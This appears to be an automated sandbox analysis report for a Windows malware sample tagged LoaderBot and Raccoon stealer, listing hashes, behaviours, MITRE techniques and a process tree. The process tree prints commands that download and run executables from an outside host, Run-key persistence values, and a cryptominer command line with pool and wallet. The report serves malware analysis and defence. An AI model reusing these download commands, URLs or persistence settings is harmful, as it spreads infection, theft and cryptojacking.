loaderbot | f04b77c60c896b33ed8fe286de3341fc3ffd0211a987435475dc7e9d0abcb0cc

Analysis

max time kernel
151s
max time network
151s
platform
windows10_x64
resource
win10-en-20211208
submitted
13-01-2022 22:21

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General

Target

f04b77c60c896b33ed8fe286de3341fc3ffd0211a987435475dc7e9d0abcb0cc.exe
Size

346KB
MD5

df7952a5fc82dfb2e49ae81b6a1be135
SHA1

4f3a8cd939fbe37426efda7c88fbd2e49d8f8986
SHA256

f04b77c60c896b33ed8fe286de3341fc3ffd0211a987435475dc7e9d0abcb0cc
SHA512

96a495e5d30e66a236c0aea19daedf95b31f254e457647b6553f2d6cae117f0a6da2468550333fbae3ffa94d0960e2459d2259d3b4c2598efe49fc03e6c36f1a

Score

10^/10

loaderbot raccoon agilenet loader miner persistence stealer upx

Malware Config

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1700 created 2968	1700	WerFault.exe	81

LoaderBot executable 4 IoCs

resource	yara_rule
behavioral1/memory/3208-148-0x0000000000300000-0x0000000000746000-memory.dmp	loaderbot
behavioral1/memory/3208-149-0x0000000000300000-0x0000000000746000-memory.dmp	loaderbot
behavioral1/memory/3208-153-0x0000000000300000-0x0000000000746000-memory.dmp	loaderbot
behavioral1/memory/3208-154-0x0000000000300000-0x0000000000746000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	4028	WScript.exe

Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
2596	extd.exe
1420	setup_c1.exe
776	extd.exe
876	setup_m1.exe
2000	extd.exe
3208	setup_e1.exe
1084	extd.exe
2968	setup_c1.exe
3568	Driver.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000001ab2b-120.dat	upx
behavioral1/files/0x000500000001ab2b-121.dat	upx
behavioral1/files/0x000500000001ab2b-126.dat	upx
behavioral1/files/0x000500000001ab2b-132.dat	upx
behavioral1/files/0x000500000001ab2b-147.dat	upx

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup_e1.exe

Obfuscated with Agile.Net obfuscator 5 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/files/0x000500000001ab30-124.dat	agile_net
behavioral1/files/0x000500000001ab30-127.dat	agile_net
behavioral1/memory/1420-138-0x00000000004B0000-0x00000000004BE000-memory.dmp	agile_net
behavioral1/memory/1420-139-0x00000000004B0000-0x00000000004BE000-memory.dmp	agile_net
behavioral1/files/0x000500000001ab30-171.dat	agile_net

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup_m1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup_e1.exe"	setup_e1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
876	setup_m1.exe
3208	setup_e1.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1420 set thread context of 2968	1420	setup_c1.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1700	2968	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
876	setup_m1.exe
876	setup_m1.exe
3208	setup_e1.exe
3208	setup_e1.exe
1420	setup_c1.exe
1420	setup_c1.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe
3208	setup_e1.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
628	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1420	setup_c1.exe
Token: SeDebugPrivilege	876	setup_m1.exe
Token: SeDebugPrivilege	3208	setup_e1.exe
Token: SeRestorePrivilege	1700	WerFault.exe
Token: SeBackupPrivilege	1700	WerFault.exe
Token: SeDebugPrivilege	1700	WerFault.exe
Token: SeLockMemoryPrivilege	3568	Driver.exe
Token: SeLockMemoryPrivilege	3568	Driver.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 780 wrote to memory of 1352	780	f04b77c60c896b33ed8fe286de3341fc3ffd0211a987435475dc7e9d0abcb0cc.exe	69
PID 780 wrote to memory of 1352	780	f04b77c60c896b33ed8fe286de3341fc3ffd0211a987435475dc7e9d0abcb0cc.exe	69
PID 1352 wrote to memory of 4028	1352	cmd.exe	72
PID 1352 wrote to memory of 4028	1352	cmd.exe	72
PID 1352 wrote to memory of 2596	1352	cmd.exe	73
PID 1352 wrote to memory of 2596	1352	cmd.exe	73
PID 1352 wrote to memory of 2596	1352	cmd.exe	73
PID 1352 wrote to memory of 1420	1352	cmd.exe	74
PID 1352 wrote to memory of 1420	1352	cmd.exe	74
PID 1352 wrote to memory of 1420	1352	cmd.exe	74
PID 1352 wrote to memory of 776	1352	cmd.exe	75
PID 1352 wrote to memory of 776	1352	cmd.exe	75
PID 1352 wrote to memory of 776	1352	cmd.exe	75
PID 1352 wrote to memory of 876	1352	cmd.exe	77
PID 1352 wrote to memory of 876	1352	cmd.exe	77
PID 1352 wrote to memory of 876	1352	cmd.exe	77
PID 1352 wrote to memory of 2000	1352	cmd.exe	78
PID 1352 wrote to memory of 2000	1352	cmd.exe	78
PID 1352 wrote to memory of 2000	1352	cmd.exe	78
PID 1352 wrote to memory of 3208	1352	cmd.exe	79
PID 1352 wrote to memory of 3208	1352	cmd.exe	79
PID 1352 wrote to memory of 3208	1352	cmd.exe	79
PID 1352 wrote to memory of 1084	1352	cmd.exe	80
PID 1352 wrote to memory of 1084	1352	cmd.exe	80
PID 1352 wrote to memory of 1084	1352	cmd.exe	80
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 1420 wrote to memory of 2968	1420	setup_c1.exe	81
PID 3208 wrote to memory of 3568	3208	setup_e1.exe	84
PID 3208 wrote to memory of 3568	3208	setup_e1.exe	84

C:\Users\Admin\AppData\Local\Temp\f04b77c60c896b33ed8fe286de3341fc3ffd0211a987435475dc7e9d0abcb0cc.exe
"C:\Users\Admin\AppData\Local\Temp\f04b77c60c896b33ed8fe286de3341fc3ffd0211a987435475dc7e9d0abcb0cc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\246E.bat C:\Users\Admin\AppData\Local\Temp\f04b77c60c896b33ed8fe286de3341fc3ffd0211a987435475dc7e9d0abcb0cc.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\21009\stt.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:4028
- - C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\extd.exe "/download" "http://a0621298.xsph.ru/File.exe" "setup_c1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2596
- - C:\Users\Admin\AppData\Local\Temp\21009\setup_c1.exe
    setup_c1.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Users\Admin\AppData\Local\Temp\21009\setup_c1.exe
      C:\Users\Admin\AppData\Local\Temp\21009\setup_c1.exe
      4⤵
      Executes dropped EXE
      PID:2968
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2968 -s 840
        5⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1700
- - C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\extd.exe "/download" "http://a0621298.xsph.ru/512412.exe" "setup_m1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:776
- - C:\Users\Admin\AppData\Local\Temp\21009\setup_m1.exe
    setup_m1.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:876
- - C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\extd.exe "/download" "http://a0621298.xsph.ru/RM.exe" "setup_e1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2000
- - C:\Users\Admin\AppData\Local\Temp\21009\setup_e1.exe
    setup_e1.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3208
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3568
- - C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\246C.tmp\246D.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/876-163-0x00000000060B0000-0x00000000065AE000-memory.dmp

Filesize
5.0MB

Download
memory/876-133-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

Filesize
4KB

Download
memory/876-135-0x0000000074DA0000-0x0000000074F62000-memory.dmp

Filesize
1.8MB

Download
memory/876-136-0x00000000027F0000-0x0000000002835000-memory.dmp

Filesize
276KB

Download
memory/876-160-0x0000000076E00000-0x0000000077384000-memory.dmp

Filesize
5.5MB

Download
memory/876-161-0x0000000075200000-0x0000000076548000-memory.dmp

Filesize
19.3MB

Download
memory/876-137-0x0000000075100000-0x00000000751F1000-memory.dmp

Filesize
964KB

Download
memory/876-140-0x0000000000FE0000-0x0000000001042000-memory.dmp

Filesize
392KB

Download
memory/876-141-0x0000000000FE0000-0x0000000001042000-memory.dmp

Filesize
392KB

Download
memory/876-142-0x0000000073310000-0x0000000073390000-memory.dmp

Filesize
512KB

Download
memory/876-162-0x00000000052E0000-0x00000000052E1000-memory.dmp

Filesize
4KB

Download
memory/876-164-0x0000000005CA0000-0x0000000005D32000-memory.dmp

Filesize
584KB

Download
memory/876-134-0x0000000000FE0000-0x0000000001042000-memory.dmp

Filesize
392KB

Download
memory/876-165-0x0000000005C80000-0x0000000005C8A000-memory.dmp

Filesize
40KB

Download
memory/1420-168-0x00000000059E0000-0x0000000005A72000-memory.dmp

Filesize
584KB

Download
memory/1420-167-0x00000000058D0000-0x000000000591C000-memory.dmp

Filesize
304KB

Download
memory/1420-166-0x00000000055F0000-0x00000000056A8000-memory.dmp

Filesize
736KB

Download
memory/1420-158-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

Filesize
4KB

Download
memory/1420-139-0x00000000004B0000-0x00000000004BE000-memory.dmp

Filesize
56KB

Download
memory/1420-138-0x00000000004B0000-0x00000000004BE000-memory.dmp

Filesize
56KB

Download
memory/2968-169-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/2968-172-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/3208-148-0x0000000000300000-0x0000000000746000-memory.dmp

Filesize
4.3MB

Download
memory/3208-151-0x0000000074DA0000-0x0000000074F62000-memory.dmp

Filesize
1.8MB

Download
memory/3208-152-0x0000000075100000-0x00000000751F1000-memory.dmp

Filesize
964KB

Download
memory/3208-150-0x0000000000870000-0x0000000000871000-memory.dmp

Filesize
4KB

Download
memory/3208-149-0x0000000000300000-0x0000000000746000-memory.dmp

Filesize
4.3MB

Download
memory/3208-156-0x0000000076E00000-0x0000000077384000-memory.dmp

Filesize
5.5MB

Download
memory/3208-155-0x0000000073310000-0x0000000073390000-memory.dmp

Filesize
512KB

Download
memory/3208-159-0x0000000075200000-0x0000000076548000-memory.dmp

Filesize
19.3MB

Download
memory/3208-153-0x0000000000300000-0x0000000000746000-memory.dmp

Filesize
4.3MB

Download
memory/3208-154-0x0000000000300000-0x0000000000746000-memory.dmp

Filesize
4.3MB

Download
memory/3208-173-0x0000000005530000-0x0000000005596000-memory.dmp

Filesize
408KB

Download
memory/3208-178-0x00000000053B0000-0x00000000053B1000-memory.dmp

Filesize
4KB

Download
memory/3208-157-0x0000000000FC0000-0x0000000001005000-memory.dmp

Filesize
276KB

Download
memory/3568-177-0x00000000001B0000-0x00000000001C4000-memory.dmp

Filesize
80KB

Download
memory/3568-179-0x00000000001E0000-0x0000000000200000-memory.dmp

Filesize
128KB

Download
memory/3568-180-0x00000000004D0000-0x00000000004F0000-memory.dmp

Filesize
128KB

Download